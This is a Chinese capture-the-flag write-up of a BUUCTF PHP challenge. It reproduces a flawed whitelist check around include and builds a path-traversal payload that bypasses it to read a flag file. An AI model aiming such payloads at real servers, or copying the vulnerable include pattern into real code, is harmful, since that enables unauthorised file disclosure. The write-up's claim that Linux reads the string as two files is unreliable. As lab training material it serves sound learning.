前言:题目来源BUUCTF
目录:
一、题目
靶机主页为一张无关图片,不可互动。代码如下:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<!--source.php-->
<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>
二、解析
检查上述主页代码,发现有注释中提到一个文件 source.php 。尝试访问这个文件看看有什么输出:
http://靶机地址/source.php
一般情况下,用户在向网站服务器请求任何php文件时,服务器会直接运行php文件,而不是向用户显示文件内容。也就是说php文件是“无法被下载”的,这也是出于网络安全的设计。
但是访问本题靶机的 source.php 时,却出现了如下所示的代码原文,我们来看看这是怎么回事:
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
发现这是一段PHP代码,现在分段来分析它的内容:
highlight_file(__FILE__);
这表示此文件被访问时,服务器直接输出源代码文本。正因为它,我们得以看到代码。
然后是一个类 emmm ,其中只有一个函数 checkFile 。看名字似乎是一个文件检查函数,其具体内容如下:
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
看来这个函数干了以下几件事:
- 接受一个不知何处传来的值 $page ;
- 设置了一个白名单(叫 $whitelist 的数组),里面有两个文件名,分别是 source.php 和 hint.php ;
- 从文件名上看,hint.php内可能包含提示信息。鉴于我们已经在看 source.php 了,可以猜测到服务器内还存在另一个文件 hint.php ;
- 检查用户请求的 $page 值是不是符合“某些条件”。
“某些条件”具体如下:
- $page 值中的第一个问号后的内容将被忽略;
- $page 值是否在白名单中?
- $page 值经过url解码后是否还在白名单中?
看到这里真是让人一头雾水,我们继续往下看这个所谓的 $page 值到底是什么:
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
这段代码的意思是,从URL中接受用户给出的 file 值(比如?file=xxx),如果此值是字符串,而且此值通过了类emmm中checkFile函数的检查,就在页面中包含用户给出的这个 file 值。从这一点来看,file 值实际上应该是一个文件名。
到这里就真相大白了。前面那个函数所接收的 $page 值,实际上是用户在URL中给出的GET请求的值。
现在我们整理一下此网站的运行逻辑:
- 用户在URL中给出了file值,是一个文件名,比如 xxx.php ;
- 这个值作为变量 $page 被提交给函数 checkFile ;
- 函数先忽略文件名中第一个问号之后的部分;
- 接下来函数检查此文件是否:
- 在白名单中?
- 经过url解码后是否还在白名单中?
- 一旦通过检查,就将此文件显示给用户。
到这里我们基本上确定,题目要我们绕过这个检查机制,找到一个目标文件。
可是目标文件是什么?我们试着访问以下 hint.php ,看看出题人给出了什么提示:
看来我们应该试着找一下叫做ffffllllaaaagggg的文件。构造URL如下:
http://靶机地址/?file=source.php
这个URL是能通过检查的,因为 source.php 确实是白名单中的文件;
在此基础上添加一个问号,问号后添加一个相对路径:
http://靶机地址/?file=source.php?./ffffllllaaaagggg
这个URL也能通过检查。为什么?
此时函数获取到的“文件名”实际上是:source.php?./ffffllllaaaagggg 。检查时,问号后面的内容被系统忽略,只会检查问号前的内容,而这里问号前的内容是能通过检查的;
那么这个URL能不能获得输出?也能,但前提是此路径下真的存在文件ffffllllaaaagggg。为什么?
大多数服务器的操作系统是Linux。在Linux中,路径“./”指当前路径,“../”指父级路径。此时,对于系统获取到的“文件名” source.php?./ffffllllaaaagggg ,实际上是两个文件:source.php 和 ffffllllaaaagggg 。所以只要存在此文件,就会被输出。
但是浏览器并没有输出内容,我们在在此基础上进一步修改URL:
http://靶机地址/?file=source.php?../ffffllllaaaagggg
我们尝试到上级目录寻找这个文件。请注意不能用通配符“*”代替文件名ffffllllaaaaagggg,因为PHP并不能像shell命令一样识别通配符。如果还是失败,可以继续叠加“../”来向更上层的目录寻找。
经过反复尝试,最终我们在此路径下获取到了目标文件:
http://靶机地址/?file=source.php?../../../../../ffffllllaaaagggg
成功获取flag。
最新评论